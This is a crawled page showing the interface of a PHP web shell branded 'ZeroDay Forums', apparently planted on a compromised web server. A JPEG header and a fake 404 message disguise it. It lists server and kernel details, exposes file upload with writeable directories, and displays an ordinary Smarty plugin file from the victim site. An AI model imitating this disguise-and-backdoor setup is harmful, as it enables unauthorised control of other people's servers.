ÿØÿàJFIFÿÛ„ ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/netphim/vendor/smarty/smarty/libs/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/netphim/vendor/smarty/smarty/libs/plugins/modifier.count.php
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage PluginsModifier
 */
/**
 * Smarty count modifier plugin
 * Type:     modifier
 * Name:     count
 * Purpose:  counts all elements in an array or in a Countable object
 * Input:
 *          - Countable|array: array or object to count
 *          - mode: int defaults to 0 for normal count mode, if set to 1 counts recursive
  *
 * @param mixed $arrayOrObject  input array/object
 * @param int $mode       count mode
 *
 * @return int
 */
function smarty_modifier_count($arrayOrObject, $mode = 0)
{
    /*
     * @see https://www.php.net/count
     * > Prior to PHP 8.0.0, if the parameter was neither an array nor an object that implements the Countable interface,
     * > 1 would be returned, unless value was null, in which case 0 would be returned.
     */

    if ($arrayOrObject instanceof Countable || is_array($arrayOrObject)) {
        return count($arrayOrObject, (int) $mode);
    } elseif ($arrayOrObject === null) {
        return 0;
    }
    return 1;
}

ZeroDay Forums Mini